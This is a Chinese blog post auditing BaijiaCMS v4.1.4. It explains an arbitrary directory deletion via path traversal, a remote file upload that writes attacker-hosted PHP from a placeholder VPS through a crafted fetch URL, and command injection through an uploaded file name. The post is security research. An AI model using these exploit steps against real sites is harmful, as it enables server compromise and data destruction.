百家CMS v4.1.4代码审计

本文揭秘了百家CMS的代码漏洞,涉及文件删除、远程文件上传和命令执行,通过实例演示了如何利用这些漏洞,并总结了发现漏洞和利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

中午在先知上看到篇百家cms的代码审计,不是很难,适合我这种菜🐶
参考:https://xz.aliyun.com/t/9955#toc-0
源码下载:https://gitee.com/openbaijia/baijiacms.git

任意目录删除

漏洞点位于:includes/baijiacms/common.inc.php

首先关注的是unlink函数,他会删除文件,只要$path不是目录就会进入改分支。
但如果你是目录呢,会对目录中非...qrcode的文件内循环一次,就是会删除文件
循环了一次退出来还会判断改目录是否是/cache目录,不是的话直接删除目录。

综上,因为$path来自于参数,会发现有可能可以实现 “任意” 文件的删除,也包括删除目录
在这里插入图片描述
全局搜索,位于system/manager/class/web/database.php的一处调用了rmdirs函数,且发现$_GP['id']可控,也就是整个参数路径可控,但只有通过is_dir()才可以调用,因此可以实现任意目录的删除了。

此外这段代码可以猜出是数据文件的备份删除功能
在这里插入图片描述

$_GP是三个数组的整合,故$_GP['id']也能通过GET、POST请求得到
在这里插入图片描述

利用

功能点位置:
在这里插入图片描述
在网站根目录下新建一个DMIND文件夹,里面放1.txt文件测试

抓包并在id字段修改成../../DMINDbase64编码形式。最后返回200,查看本地,确实整个目录删除
在这里插入图片描述

远程文件上传

该漏洞由于调用file_put_contents函数但未对文件名或文件内容做任何过滤操作而造成的。位于includes/baijiacms/common.inc.php

后缀是通过pathinfo()得到的,然后直接将其拼接进$extpath中,然后拼接成一个文件名,文件后缀则取决于url的文件后缀
文件内容则是直接来自file_get_contents($url)
在这里插入图片描述
全局搜索,只有一个地方调用了fetch_net_file_upload函数。位于system/public/class/web/file.php
只需要令do=fetch即可,且url可通过GET传递,那么完全可以通过url指定获取远程文件的内容
在这里插入图片描述

利用

首先在VPS上写个php文件,执行的命令是echo "<?php echo'<?php phpinfo();?>';?>">1.php

最后只需要构造调用,当然,这里的目录文件的构造我还是有点懵的…

http://127.0.0.1/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://x.x.x.x/1.php

访问即可得到生成文件的信息
在这里插入图片描述
再访问:
在这里插入图片描述

命令执行

没有对相应的参数进行过滤而直接使用。位于includes/baijiacms/common.inc.phpfile_save()中,其中有个system函数,而$file_full_path来自于该调用该函数的参数,那么可以猜想使用命令分隔符即可执行到命令了。

在这里插入图片描述
全局搜索,发现system/weixin/class/web/setting.php调用了file_save(),这个$file['name']来自于一个上传文件的名称。可控
在这里插入图片描述

利用

首先在附件中有个开启选项,选择此选项,否则在file_save()中会执行不下去
在这里插入图片描述
在微信号的设置中上传并提交,抓包并在文件名中命令注入
在这里插入图片描述
在这里插入图片描述

总结

1、知道漏洞在某个文件中触发,但如何构造合适的URL使得能够访问此文件,感觉这个跟一些URL访问规则有关,但有些CMS比如百家CMS就没有对应的手册,理解起来还是比较花时间…

2、已知某个变量,但如何在cms中找到对应控制的东西,这个目前我就是全局搜关键字,但有时也不好找…

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值